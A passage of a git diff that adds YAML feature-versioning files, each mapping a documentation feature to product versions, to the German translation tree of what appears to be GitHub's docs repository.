+  fpt: '*'
+  ghec: '*'
+  ghes: '>3,6'
+  ghae: 'issue-7673'
diff --git a/translations/de-DE/data/features/dependabot-alerts-vulnerable-calls.yml b/translations/de-DE/data/features/dependabot-alerts-vulnerable-calls.yml
new file mode 100644
index 0000000000..5b3645f3c5
--- /dev/null
+++ b/translations/de-DE/data/features/dependabot-alerts-vulnerable-calls.yml
@@ -0,0 +1,5 @@
+# Reference: Issue #6076 introduction of label for "vulnerable calls" in Dependabot alerts
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghae: 'issue-6076'
diff --git a/translations/de-DE/data/features/dependabot-bulk-alerts.yml b/translations/de-DE/data/features/dependabot-bulk-alerts.yml
new file mode 100644
index 0000000000..df64f29646
--- /dev/null
+++ b/translations/de-DE/data/features/dependabot-bulk-alerts.yml
@@ -0,0 +1,6 @@
+# Reference: Issue #6076 ability to dismiss or re-open multiple Dependabot alerts
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>3.5'
+  ghae: 'issue-6628'
diff --git a/translations/de-DE/data/features/dependabot-grouped-dependencies.yml b/translations/de-DE/data/features/dependabot-grouped-dependencies.yml
new file mode 100644
index 0000000000..5c3e27e08c
--- /dev/null
+++ b/translations/de-DE/data/features/dependabot-grouped-dependencies.yml
@@ -0,0 +1,7 @@
+# Reference: #6913
+# Dependabot support for TypeScript @types/*
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>3.5'
+  ghae: 'issue-6913'
diff --git a/translations/de-DE/data/features/dependabot-most-important-sort-option.yml b/translations/de-DE/data/features/dependabot-most-important-sort-option.yml
new file mode 100644
index 0000000000..7baefe3793
--- /dev/null
+++ b/translations/de-DE/data/features/dependabot-most-important-sort-option.yml
@@ -0,0 +1,7 @@
+# Reference: Issue #7510 - Dependabot alerts: "Most important" sort (prioritization score) - [GA]
+
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>3,6'
+  ghae: 'issue-7510'
diff --git a/translations/de-DE/data/features/dependabot-settings-update-37.yml b/translations/de-DE/data/features/dependabot-settings-update-37.yml
new file mode 100644
index 0000000000..15d1d3060c
--- /dev/null
+++ b/translations/de-DE/data/features/dependabot-settings-update-37.yml
@@ -0,0 +1,6 @@
+# Reference: Issue #7044 Update repository settings for Dependabot to include shortcut for Version updates
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>3,6'
+  ghae: 'issue-7044'
diff --git a/translations/de-DE/data/features/dependabot-updates-github-connect.yml b/translations/de-DE/data/features/dependabot-updates-github-connect.yml
new file mode 100644
index 0000000000..7f81be942e
--- /dev/null
+++ b/translations/de-DE/data/features/dependabot-updates-github-connect.yml
@@ -0,0 +1,3 @@
+versions:
+  ghes: '>=3.4'
+  ghae: 'issue-5867'
diff --git a/translations/de-DE/data/features/dependency-graph-rust-support.yml b/translations/de-DE/data/features/dependency-graph-rust-support.yml
new file mode 100644
index 0000000000..5fc3fbe4ed
--- /dev/null
+++ b/translations/de-DE/data/features/dependency-graph-rust-support.yml
@@ -0,0 +1,6 @@
+# Reference: Issue #6964 Support for Rust manifest parsing in Dependency graph
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>3.5'
+  ghae: 'issue-6964'
diff --git a/translations/de-DE/data/features/dependency-review-action-configuration.yml b/translations/de-DE/data/features/dependency-review-action-configuration.yml
new file mode 100644
index 0000000000..557594cb3b
--- /dev/null
+++ b/translations/de-DE/data/features/dependency-review-action-configuration.yml
@@ -0,0 +1,6 @@
+# Reference: Issue #7061 Configuring the dependency review action - [Public Beta]
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>3.5'
+  ghae: 'issue-7061'
diff --git a/translations/de-DE/data/features/dependency-review-action-ghes.yml b/translations/de-DE/data/features/dependency-review-action-ghes.yml
new file mode 100644
index 0000000000..fc737ef149
--- /dev/null
+++ b/translations/de-DE/data/features/dependency-review-action-ghes.yml
@@ -0,0 +1,4 @@
+# Reference: Issue #7753 Dependency review action has shipped with GHES 3.6 and needs admin docs
+versions:
+  ghes: '>3,5'
+  ghae: 'issue-7753'
diff --git a/translations/de-DE/data/features/dependency-review-action-licenses.yml b/translations/de-DE/data/features/dependency-review-action-licenses.yml
new file mode 100644
index 0000000000..ec85ab9be0
--- /dev/null
+++ b/translations/de-DE/data/features/dependency-review-action-licenses.yml
@@ -0,0 +1,4 @@
+# Reference: Issue #7486 Configuring the dependency review action - [Public Beta] for GHES
+versions:
+  fpt: '*'
+  ghec: '*'
diff --git a/translations/de-DE/data/features/dependency-submission-api.yml b/translations/de-DE/data/features/dependency-submission-api.yml
new file mode 100644
index 0000000000..6ab5ae4ed1
--- /dev/null
+++ b/translations/de-DE/data/features/dependency-submission-api.yml
@@ -0,0 +1,7 @@
+# Reference: #6397
+# Documentation for dependency submission API (beta)
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>3.6'
+  ghae: 'issue-6397'
diff --git a/translations/de-DE/data/features/device-flow-is-opt-in.yml b/translations/de-DE/data/features/device-flow-is-opt-in.yml
new file mode 100644
index 0000000000..c9a60f1846
--- /dev/null
+++ b/translations/de-DE/data/features/device-flow-is-opt-in.yml
@@ -0,0 +1,6 @@
+# docs-content 6307. OAuth device auth flow is opt in.
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>3,4'
+  ghae: 'issue-6307'
diff --git a/translations/de-DE/data/features/discussions.yml b/translations/de-DE/data/features/discussions.yml
new file mode 100644
index 0000000000..3613382df6
--- /dev/null
+++ b/translations/de-DE/data/features/discussions.yml
@@ -0,0 +1,4 @@
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3,6'
diff --git a/translations/de-DE/data/features/docker-ghcr-enterprise-migration.yml b/translations/de-DE/data/features/docker-ghcr-enterprise-migration.yml
new file mode 100644
index 0000000000..663aa42173
--- /dev/null
+++ b/translations/de-DE/data/features/docker-ghcr-enterprise-migration.yml
@@ -0,0 +1,4 @@
+# Reference: #7360
+# Documentation for migration from Docker registry to Container registry for enterprise products
+versions:
+  ghes: '>= 3,6'
diff --git a/translations/de-DE/data/features/enable-git-events.yml b/translations/de-DE/data/features/enable-git-events.yml
new file mode 100644
index 0000000000..1abd9278c8
--- /dev/null
+++ b/translations/de-DE/data/features/enable-git-events.yml
@@ -0,0 +1,5 @@
+# Reference: #7283
+# Documentation for enabling Git events in the audit log
+versions:
+  ghes: '>=3,5'
+  ghae: 'issue-7283'
diff --git a/translations/de-DE/data/features/enterprise-audit-log-ip-addresses.yml b/translations/de-DE/data/features/enterprise-audit-log-ip-addresses.yml
new file mode 100644
index 0000000000..fd52e97977
--- /dev/null
+++ b/translations/de-DE/data/features/enterprise-audit-log-ip-addresses.yml
@@ -0,0 +1,4 @@
+# Reference: #6972
+# Documentation for IP addresses in the enterprise audit log (public beta)
+versions:
+  ghec: '*'
diff --git a/translations/de-DE/data/features/enterprise-membership-view-improvements.yml b/translations/de-DE/data/features/enterprise-membership-view-improvements.yml
new file mode 100644
index 0000000000..5d6a4ff8a3
--- /dev/null
+++ b/translations/de-DE/data/features/enterprise-membership-view-improvements.yml
@@ -0,0 +1,4 @@
+versions:
+  ghec: '*'
+  ghes: '>=3,6'
+  ghae: 'issue-6344'
diff --git a/translations/de-DE/data/features/enterprise-namespace-repo-setting.yml b/translations/de-DE/data/features/enterprise-namespace-repo-setting.yml
new file mode 100644
index 0000000000..f934733227
--- /dev/null
+++ b/translations/de-DE/data/features/enterprise-namespace-repo-setting.yml
@@ -0,0 +1,6 @@
+# Reference: #7757
+# Setting to disable personal namespace repo creation for EMUs, GHES 3.7+ and GHAE 3.7+ users
+versions:
+  ghec: '*'
+  ghes: '>=3,7'
+  ghae: 'issue-7757'
diff --git a/translations/de-DE/data/features/enterprise-owner-join-org.yml b/translations/de-DE/data/features/enterprise-owner-join-org.yml
new file mode 100644
index 0000000000..9f4d8ba947
--- /dev/null
+++ b/translations/de-DE/data/features/enterprise-owner-join-org.yml
@@ -0,0 +1,4 @@
+versions:
+  ghec: '*'
+  ghes: '>=3,6'
+  ghae: 'issue-5740'
diff --git a/translations/de-DE/data/features/enterprise-owners-visible-for-org-members.yml b/translations/de-DE/data/features/enterprise-owners-visible-for-org-members.yml
new file mode 100644
index 0000000000..2cc9348ee3
--- /dev/null
+++ b/translations/de-DE/data/features/enterprise-owners-visible-for-org-members.yml
@@ -0,0 +1,6 @@
+# Reference: Issue #5741 in docs-content
+# Documentation for enterprise owners UI updates
+versions:
+  ghes: '>=3.4'
+  ghae: 'issue-5741'
+  ghec: '*'
diff --git a/translations/de-DE/data/features/file-finder-exclusion-controls.yml b/translations/de-DE/data/features/file-finder-exclusion-controls.yml
new file mode 100644
index 0000000000..ec8af948e6
--- /dev/null
+++ b/translations/de-DE/data/features/file-finder-exclusion-controls.yml
@@ -0,0 +1,7 @@
+# Reference: Issue #7579 - Improved file finder exclusion controls
+
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3,7'
+  ghae: 'issue-7579'
diff --git a/translations/de-DE/data/features/fixed-width-font-gfm-fields.yml b/translations/de-DE/data/features/fixed-width-font-gfm-fields.yml
new file mode 100644
index 0000000000..d0d51209f6
--- /dev/null
+++ b/translations/de-DE/data/features/fixed-width-font-gfm-fields.yml
@@ -0,0 +1,7 @@
+# Reference: #5278.
+# Documentation for the fixed-width font support for markdown fields.
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.4'
+  ghae: 'issue-5278'
diff --git a/translations/de-DE/data/features/for-you-feed.yml b/translations/de-DE/data/features/for-you-feed.yml
new file mode 100644
index 0000000000..72ecc3755f
--- /dev/null
+++ b/translations/de-DE/data/features/for-you-feed.yml
@@ -0,0 +1,6 @@
+# Issues 4834 and 5722
+# New feed for personal dashboards and option to follow organizations
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.5'
diff --git a/translations/de-DE/data/features/geoJSON-with-MapBox.yml b/translations/de-DE/data/features/geoJSON-with-MapBox.yml
new file mode 100644
index 0000000000..d53d3e1d6d
--- /dev/null
+++ b/translations/de-DE/data/features/geoJSON-with-MapBox.yml
@@ -0,0 +1,5 @@
+# Reference: #7429
+# Dotcom now uses Azure maps for geoJSON, but GHES/AE will still use the existing MapBox system
+versions:
+  ghes: '*'
+  ghae: '*'
diff --git a/translations/de-DE/data/features/ghas-committers-calculator.yml b/translations/de-DE/data/features/ghas-committers-calculator.yml
new file mode 100644
index 0000000000..c948d9cbc9
--- /dev/null
+++ b/translations/de-DE/data/features/ghas-committers-calculator.yml
@@ -0,0 +1,2 @@
+versions:
+  ghes: '*'
diff --git a/translations/de-DE/data/features/ghas-enablement-webhook.yml b/translations/de-DE/data/features/ghas-enablement-webhook.yml
new file mode 100644
index 0000000000..402540e12c
--- /dev/null
+++ b/translations/de-DE/data/features/ghas-enablement-webhook.yml
@@ -0,0 +1,5 @@
+# docs-content 7314. GHAS enablement webhook
+versions:
+  ghec: '*'
+  ghes: '>= 3.6'
+  ghae: 'issue-7314'
diff --git a/translations/de-DE/data/features/ghe-announce-dismiss.yml b/translations/de-DE/data/features/ghe-announce-dismiss.yml
new file mode 100644
index 0000000000..f0efe090f4
--- /dev/null
+++ b/translations/de-DE/data/features/ghe-announce-dismiss.yml
@@ -0,0 +1,5 @@
+# Reference: #2221.
+# Documentation for dismissing GHES announcement banner
+versions:
+  ghes: '>=3.6'
+  ghae: 'issue-6764'
diff --git a/translations/de-DE/data/features/git-events-audit-log.yml b/translations/de-DE/data/features/git-events-audit-log.yml
new file mode 100644
index 0000000000..1c2fba042a
--- /dev/null
+++ b/translations/de-DE/data/features/git-events-audit-log.yml
@@ -0,0 +1,6 @@
+# Reference: #6724
+# Documentation for Git events in the audit log
+versions:
+  ghec: '*'
+  ghes: '>=3.5'
+  ghae: 'issue-6724'
diff --git a/translations/de-DE/data/features/github-actions-in-dependency-graph.yml b/translations/de-DE/data/features/github-actions-in-dependency-graph.yml
new file mode 100644
index 0000000000..c352888955
--- /dev/null
+++ b/translations/de-DE/data/features/github-actions-in-dependency-graph.yml
@@ -0,0 +1,7 @@
+# Reference: #5813.
+# Documentation for GitHub Actions workflow dependencies appearing in the dependency graph
+versions:
+  fpt: '*'
+  ghae: 'issue-5813'
+  ghes: '>3.4'
+  ghec: '*'
diff --git a/translations/de-DE/data/features/github-runner-dashboard.yml b/translations/de-DE/data/features/github-runner-dashboard.yml
new file mode 100644
index 0000000000..14ba8f5e2d
--- /dev/null
+++ b/translations/de-DE/data/features/github-runner-dashboard.yml
@@ -0,0 +1,3 @@
+versions:
+  fpt: '*'
+  ghec: '*'
diff --git a/translations/de-DE/data/features/githubdev-editor.yml b/translations/de-DE/data/features/githubdev-editor.yml
new file mode 100644
index 0000000000..78af2427c1
--- /dev/null
+++ b/translations/de-DE/data/features/githubdev-editor.yml
@@ -0,0 +1,5 @@
+# Reference: #4918, #7438.
+# Documentation for the github.dev web-based editor
+versions:
+  fpt: '*'
+  ghec: '*'
diff --git a/translations/de-DE/data/features/innersource-fork-policies.yml b/translations/de-DE/data/features/innersource-fork-policies.yml
new file mode 100644
index 0000000000..2b564effad
--- /dev/null
+++ b/translations/de-DE/data/features/innersource-fork-policies.yml
@@ -0,0 +1,7 @@
+# Reference: #6035 #6036 #6037
+# Documentation for enterprise policies that define where forks can be created.
+
+versions:
+  ghec: '*'
+  ghes: '>3.6'
+  ghae: 'issue-6035'
diff --git a/translations/de-DE/data/features/integration-branch-protection-exceptions.yml b/translations/de-DE/data/features/integration-branch-protection-exceptions.yml
new file mode 100644
index 0000000000..50d2e94a3a
--- /dev/null
+++ b/translations/de-DE/data/features/integration-branch-protection-exceptions.yml
@@ -0,0 +1,7 @@
+# Reference: #6665
+# GitHub Apps are supported as actors in all types of exceptions to branch protections
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>= 3.6'
+  ghae: 'issue-6665'
diff --git a/translations/de-DE/data/features/internal-actions.yml b/translations/de-DE/data/features/internal-actions.yml
new file mode 100644
index 0000000000..690861cdff
--- /dev/null
+++ b/translations/de-DE/data/features/internal-actions.yml
@@ -0,0 +1,4 @@
+versions:
+  ghec: '*'
+  ghes: '>=3,5'
+  ghae: 'issue-5610'
diff --git a/translations/de-DE/data/features/ip-allow-list-address-check.yml b/translations/de-DE/data/features/ip-allow-list-address-check.yml
new file mode 100644
index 0000000000..c4dda87a70
--- /dev/null
+++ b/translations/de-DE/data/features/ip-allow-list-address-check.yml
@@ -0,0 +1,3 @@
+versions:
+  ghec: '*'
+  ghae: 'issue-7818'
diff --git a/translations/de-DE/data/features/ip-exception-list.yml b/translations/de-DE/data/features/ip-exception-list.yml
new file mode 100644
index 0000000000..25902ba928
--- /dev/null
+++ b/translations/de-DE/data/features/ip-exception-list.yml
@@ -0,0 +1,2 @@
+versions:
+  ghes: '>=3.5'
diff --git a/translations/de-DE/data/features/issue-close-reasons.yml b/translations/de-DE/data/features/issue-close-reasons.yml
new file mode 100644
index 0000000000..37608104e4
--- /dev/null
+++ b/translations/de-DE/data/features/issue-close-reasons.yml
@@ -0,0 +1,7 @@
+# Issues 6363
+# Closed issue states
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3,6'
+  ghae: 'issue-6363'
diff --git a/translations/de-DE/data/features/job-hooks-for-runners.yml b/translations/de-DE/data/features/job-hooks-for-runners.yml
new file mode 100644
index 0000000000..568ccdec80
--- /dev/null
+++ b/translations/de-DE/data/features/job-hooks-for-runners.yml
@@ -0,0 +1,7 @@
+# Reference: #6530
+# Running scripts before or after a job
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.6'
+  ghae: 'issue-6530'
diff --git a/translations/de-DE/data/features/keyboard-shortcut-accessibility-setting.yml b/translations/de-DE/data/features/keyboard-shortcut-accessibility-setting.yml
new file mode 100644
index 0000000000..df13e39e00
--- /dev/null
+++ b/translations/de-DE/data/features/keyboard-shortcut-accessibility-setting.yml
@@ -0,0 +1,7 @@
+# Reference: #4999.
+# Documentation for the security manager org-level role
+versions:
+  fpt: '*'
+  ghes: '>=3.4'
+  ghae: 'issue-5430'
+  ghec: '*'
diff --git a/translations/de-DE/data/features/math-fenced-blocks.yml b/translations/de-DE/data/features/math-fenced-blocks.yml
new file mode 100644
index 0000000000..56e2025e64
--- /dev/null
+++ b/translations/de-DE/data/features/math-fenced-blocks.yml
@@ -0,0 +1,7 @@
+# Reference: #7471.
+# Documentation for fenced math blocks in markdown.
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.7'
+  ghae: 'issue-7471'
diff --git a/translations/de-DE/data/features/math.yml b/translations/de-DE/data/features/math.yml
new file mode 100644
index 0000000000..82aceb6233
--- /dev/null
+++ b/translations/de-DE/data/features/math.yml
@@ -0,0 +1,7 @@
+# Issues 6054
+# Math support using LaTeX syntax
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.6'
+  ghae: 'issue-6054'
diff --git a/translations/de-DE/data/features/mermaid.yml b/translations/de-DE/data/features/mermaid.yml
new file mode 100644
index 0000000000..e8e1e524f5
--- /dev/null
+++ b/translations/de-DE/data/features/mermaid.yml
@@ -0,0 +1,7 @@
+# Issues 5812 and 6172, also 6411
+# Mermaid syntax support, also ASCII STL and geoJSON/topoJSON syntax support
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3,7'
+  ghae: 'issue-6172'
diff --git a/translations/de-DE/data/features/motion-management.yml b/translations/de-DE/data/features/motion-management.yml
new file mode 100644
index 0000000000..82f51d11f5
--- /dev/null
+++ b/translations/de-DE/data/features/motion-management.yml
@@ -0,0 +1,7 @@
+# Issue 6523
+# Support for customizing the automatic playback of animated images in the web interface
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.6'
+  ghae: 'issue-6523'
diff --git a/translations/de-DE/data/features/multiple-accounts-one-workstation.yml b/translations/de-DE/data/features/multiple-accounts-one-workstation.yml
new file mode 100644
index 0000000000..8f0bbb69e8
--- /dev/null
+++ b/translations/de-DE/data/features/multiple-accounts-one-workstation.yml
@@ -0,0 +1,6 @@
+# Issue #7330
+# Documentation for managing multiple GitHub accounts on one workstation
+
+versions:
+  fpt: '*'
+  ghec: '*'
diff --git a/translations/de-DE/data/features/nested-reusable-workflow.yml b/translations/de-DE/data/features/nested-reusable-workflow.yml
new file mode 100644
index 0000000000..48ec3b22ad
--- /dev/null
+++ b/translations/de-DE/data/features/nested-reusable-workflow.yml
@@ -0,0 +1,7 @@
+# Issues 7093
+# Reusable workflows can call other reusable workflows
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3,7'
+  ghae: 'issue-7093'
diff --git a/translations/de-DE/data/features/oidc-for-emu.yml b/translations/de-DE/data/features/oidc-for-emu.yml
new file mode 100644
index 0000000000..3d999160e8
--- /dev/null
+++ b/translations/de-DE/data/features/oidc-for-emu.yml
@@ -0,0 +1,5 @@
+# Issues 6495 and 6494
+# OIDC/CAP for Enterprise Managed Users
+versions:
+  ghec: '*'
+  ghae: 'issue-6495'
diff --git a/translations/de-DE/data/features/only-notify-requested-members.yml b/translations/de-DE/data/features/only-notify-requested-members.yml
new file mode 100644
index 0000000000..8a9af01b18
--- /dev/null
+++ b/translations/de-DE/data/features/only-notify-requested-members.yml
@@ -0,0 +1,7 @@
+# Issue #5108
+# Documentation for the "Only notify requested team members" option in the code review settings
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.4'
+  ghae: 'issue-5108'
diff --git a/translations/de-DE/data/features/org-profile-pin-private.yml b/translations/de-DE/data/features/org-profile-pin-private.yml
new file mode 100644
index 0000000000..facbde4453
--- /dev/null
+++ b/translations/de-DE/data/features/org-profile-pin-private.yml
@@ -0,0 +1,7 @@
+# Issue #6171
+# Documentation for the "Org profile pin private/internal repos"
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3,6'
+  ghae: 'issue-6171'
diff --git a/translations/de-DE/data/features/packages-npm-v2.yml b/translations/de-DE/data/features/packages-npm-v2.yml
new file mode 100644
index 0000000000..aaebb7fbfc
--- /dev/null
+++ b/translations/de-DE/data/features/packages-npm-v2.yml
@@ -0,0 +1,5 @@
+# Issue 7039
+# npm Package Registry Improvements (v2) GA
+versions:
+  fpt: '*'
+  ghec: '*'
diff --git a/translations/de-DE/data/features/pages-custom-workflow.yml b/translations/de-DE/data/features/pages-custom-workflow.yml
new file mode 100644
index 0000000000..94ab08b480
--- /dev/null
+++ b/translations/de-DE/data/features/pages-custom-workflow.yml
@@ -0,0 +1,5 @@
+# Issue 7066
+# Publishing Pages via custom Actions workflow
+versions:
+  fpt: '*'
+  ghec: '*'
diff --git a/translations/de-DE/data/features/partial-reruns-with-reusable.yml b/translations/de-DE/data/features/partial-reruns-with-reusable.yml
new file mode 100644
index 0000000000..4ef640e20f
--- /dev/null
+++ b/translations/de-DE/data/features/partial-reruns-with-reusable.yml
@@ -0,0 +1,6 @@
+# Issue #7062
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.5'
+  ghae: 'issue-7062'
diff --git a/translations/de-DE/data/features/pause-audit-log-stream.yml b/translations/de-DE/data/features/pause-audit-log-stream.yml
new file mode 100644
index 0000000000..9940c92ee7
--- /dev/null
+++ b/translations/de-DE/data/features/pause-audit-log-stream.yml
@@ -0,0 +1,4 @@
+# Reference #4640
+# Documentation for pausing an audit log stream
+versions:
+  ghec: '*'
diff --git a/translations/de-DE/data/features/placeholder.yml b/translations/de-DE/data/features/placeholder.yml
new file mode 100644
index 0000000000..17ea1d6574
--- /dev/null
+++ b/translations/de-DE/data/features/placeholder.yml
@@ -0,0 +1,5 @@
+# Do not delete! Used by tests.
+versions:
+  ghes: '>3.0'
+  ghec: '*'
+  ghae: '*'
diff --git a/translations/de-DE/data/features/pr-tree-view.yml b/translations/de-DE/data/features/pr-tree-view.yml
new file mode 100644
index 0000000000..7e93dea288
--- /dev/null
+++ b/translations/de-DE/data/features/pr-tree-view.yml
@@ -0,0 +1,7 @@
+# Issue 5892
+# PR file tree view
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.6'
+  ghae: 'issue-5892'
diff --git a/translations/de-DE/data/features/prevent-org-admin-add-outside-collaborator.yml b/translations/de-DE/data/features/prevent-org-admin-add-outside-collaborator.yml
new file mode 100644
index 0000000000..b26850a422
--- /dev/null
+++ b/translations/de-DE/data/features/prevent-org-admin-add-outside-collaborator.yml
@@ -0,0 +1,4 @@
+versions:
+  ghec: '*'
+  ghes: '>=3.6'
+  ghae: 'issue-6336'
diff --git a/translations/de-DE/data/features/previous-release-tag.yml b/translations/de-DE/data/features/previous-release-tag.yml
new file mode 100644
index 0000000000..45d24c0a1c
--- /dev/null
+++ b/translations/de-DE/data/features/previous-release-tag.yml
@@ -0,0 +1,7 @@
+# Issue 7052
+# Adding a previous (release) tag for users when creating a new release and autogenerating release notes
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.6'
+  ghae: 'issue-7052'
diff --git a/translations/de-DE/data/features/project-beta-webhooks.yml b/translations/de-DE/data/features/project-beta-webhooks.yml
new file mode 100644
index 0000000000..757aa1a65b
--- /dev/null
+++ b/translations/de-DE/data/features/project-beta-webhooks.yml
@@ -0,0 +1,5 @@
+# Issue 6981
+# Projects (beta) webhooks
+versions:
+  fpt: '*'
+  ghec: '*'
diff --git a/translations/de-DE/data/features/projects-oauth-scope.yml b/translations/de-DE/data/features/projects-oauth-scope.yml
new file mode 100644
index 0000000000..5e7e86fd1c
--- /dev/null
+++ b/translations/de-DE/data/features/projects-oauth-scope.yml
@@ -0,0 +1,5 @@
+# Issue 7302
+# ProjectV2 GraphQL API
+versions:
+  fpt: '*'
+  ghec: '*'
diff --git a/translations/de-DE/data/features/projects-v1.yml b/translations/de-DE/data/features/projects-v1.yml
new file mode 100644
index 0000000000..c217fc003d
--- /dev/null
+++ b/translations/de-DE/data/features/projects-v1.yml
@@ -0,0 +1,8 @@
+# Issue 6980
+# Projects (classic)
+# n.b. /managing-project-boards/copying-a-project-board.md retains ghec/fpt versioning.
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
diff --git a/translations/de-DE/data/features/projects-v2.yml b/translations/de-DE/data/features/projects-v2.yml
new file mode 100644
index 0000000000..54ea4f28ad
--- /dev/null
+++ b/translations/de-DE/data/features/projects-v2.yml
@@ -0,0 +1,6 @@
+# Issue 6980
+# ProjectV2 GA
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghae: 'issue-6980'
diff --git a/translations/de-DE/data/features/pull-request-approval-limit.yml b/translations/de-DE/data/features/pull-request-approval-limit.yml
new file mode 100644
index 0000000000..54b8e0fe9a
--- /dev/null
+++ b/translations/de-DE/data/features/pull-request-approval-limit.yml
@@ -0,0 +1,5 @@
+# Reference: #5244
+# Documentation for moderation setting to limit who can approve or request changes on a PR.
+versions:
+  fpt: '*'
+  ghec: '*'
diff --git a/translations/de-DE/data/features/push-protection-custom-link-orgs-beta.yml b/translations/de-DE/data/features/push-protection-custom-link-orgs-beta.yml
new file mode 100644
index 0000000000..b7b55a0f3d
--- /dev/null
+++ b/translations/de-DE/data/features/push-protection-custom-link-orgs-beta.yml
@@ -0,0 +1,8 @@
+# Issue 7299
+# Push protection custom links beta flags
+# See "push-protection-custom-link-orgs" for the feature
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3,7'
+  ghae: 'issue-7299'
diff --git a/translations/de-DE/data/features/push-protection-custom-link-orgs.yml b/translations/de-DE/data/features/push-protection-custom-link-orgs.yml
new file mode 100644
index 0000000000..19bd62d830
--- /dev/null
+++ b/translations/de-DE/data/features/push-protection-custom-link-orgs.yml
@@ -0,0 +1,8 @@
+# Issue 7299
+# Push protection custom links
+# See "push-protection-custom-link-orgs-beta" for the beta flags
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3,7'
+  ghae: 'issue-7299'
diff --git a/translations/de-DE/data/features/re-run-jobs.yml b/translations/de-DE/data/features/re-run-jobs.yml
new file mode 100644
index 0000000000..42088fc7db
--- /dev/null
+++ b/translations/de-DE/data/features/re-run-jobs.yml
@@ -0,0 +1,7 @@
+# Issue 4722
+# Re-running failed jobs in an Actions workflow
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3,5'
+  ghae: 'issue-4722'
diff --git a/translations/de-DE/data/features/remove-enterprise-members.yml b/translations/de-DE/data/features/remove-enterprise-members.yml
new file mode 100644
index 0000000000..cdeeceb969
--- /dev/null
+++ b/translations/de-DE/data/features/remove-enterprise-members.yml
@@ -0,0 +1,3 @@
+versions:
+  ghec: '*'
+  ghae: 'issue-5739'
diff --git a/translations/de-DE/data/features/reopen-dependabot-alerts.yml b/translations/de-DE/data/features/reopen-dependabot-alerts.yml
new file mode 100644
index 0000000000..f6ff7fa597
--- /dev/null
+++ b/translations/de-DE/data/features/reopen-dependabot-alerts.yml
@@ -0,0 +1,6 @@
+# Reference 5861
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>3.4'
+  ghae: 'issue-5861'
diff --git a/translations/de-DE/data/features/require-tls-for-smtp.yml b/translations/de-DE/data/features/require-tls-for-smtp.yml
new file mode 100644
index 0000000000..6aeff31c6d
--- /dev/null
+++ b/translations/de-DE/data/features/require-tls-for-smtp.yml
@@ -0,0 +1,4 @@
+# Reference 7394
+# Documentation for the option to enforce TLS encryption for incoming SMTP connections
+versions:
+  ghes: '>=3,6'
diff --git a/translations/de-DE/data/features/required-deployments.yml b/translations/de-DE/data/features/required-deployments.yml
new file mode 100644
index 0000000000..c1b7fc94d1
--- /dev/null
+++ b/translations/de-DE/data/features/required-deployments.yml
@@ -0,0 +1,7 @@
+# Issue 6384
+# Required deployments branch protection rule
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.5'
+  ghae: 'issue-6384'
diff --git a/translations/de-DE/data/features/restrict-groups-to-workflows.yml b/translations/de-DE/data/features/restrict-groups-to-workflows.yml
new file mode 100644
index 0000000000..0a7b9e5b25
--- /dev/null
+++ b/translations/de-DE/data/features/restrict-groups-to-workflows.yml
@@ -0,0 +1,6 @@
+# Issue 6137
+# Restrict self-hosted runner groups to specific workflows
+versions:
+  ghec: '*'
+  ghes: '>=3.5'
+  ghae: 'issue-6137'
diff --git a/translations/de-DE/data/features/restrict-pushes-create-branch.yml b/translations/de-DE/data/features/restrict-pushes-create-branch.yml
new file mode 100644
index 0000000000..156a3b6018
--- /dev/null
+++ b/translations/de-DE/data/features/restrict-pushes-create-branch.yml
@@ -0,0 +1,7 @@
+# Issue 6045
+# Restrict pushes that create matching branches option, within branch restrictions
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '>=3.6'
+  ghae: 'issue-6045'
diff --git a/translations/de-DE/data/features/secret-scanning-alert-audit-log.yml b/translations/de-DE/data/features/secret-scanning-alert-audit-log.yml
new file mode 100644
index 0000000000..c84422b5b4
--- /dev/null
+++ b/translations/de-DE/data/features/secret-scanning-alert-audit-log.yml
@@ -0,0 +1,6 @@
+# Reference: #7046.
+# Documentation for new audit log events for alerts for secret scanning.
+versions:
+  ghec: '*'
+  ghes: '>=3.6'
+  ghae: 'issue-7046'
diff --git a/translations/de-DE/data/features/secret-scanning-audit-log-custom-patterns.yml b/translations/de-DE/data/features/secret-scanning-audit-log-custom-patterns.yml
new file mode 100644
index 0000000000..0318bd397e
--- /dev/null
+++ b/translations/de-DE/data/features/secret-scanning-audit-log-custom-patterns.yml
@@ -0,0 +1,6 @@
+# Reference: #6615.
+# Documentation for new audit log events for custom patterns for secret scanning.
+versions:
+  ghec: '*'
+  ghes: '>=3.5'
+  ghae: 'issue-6615'
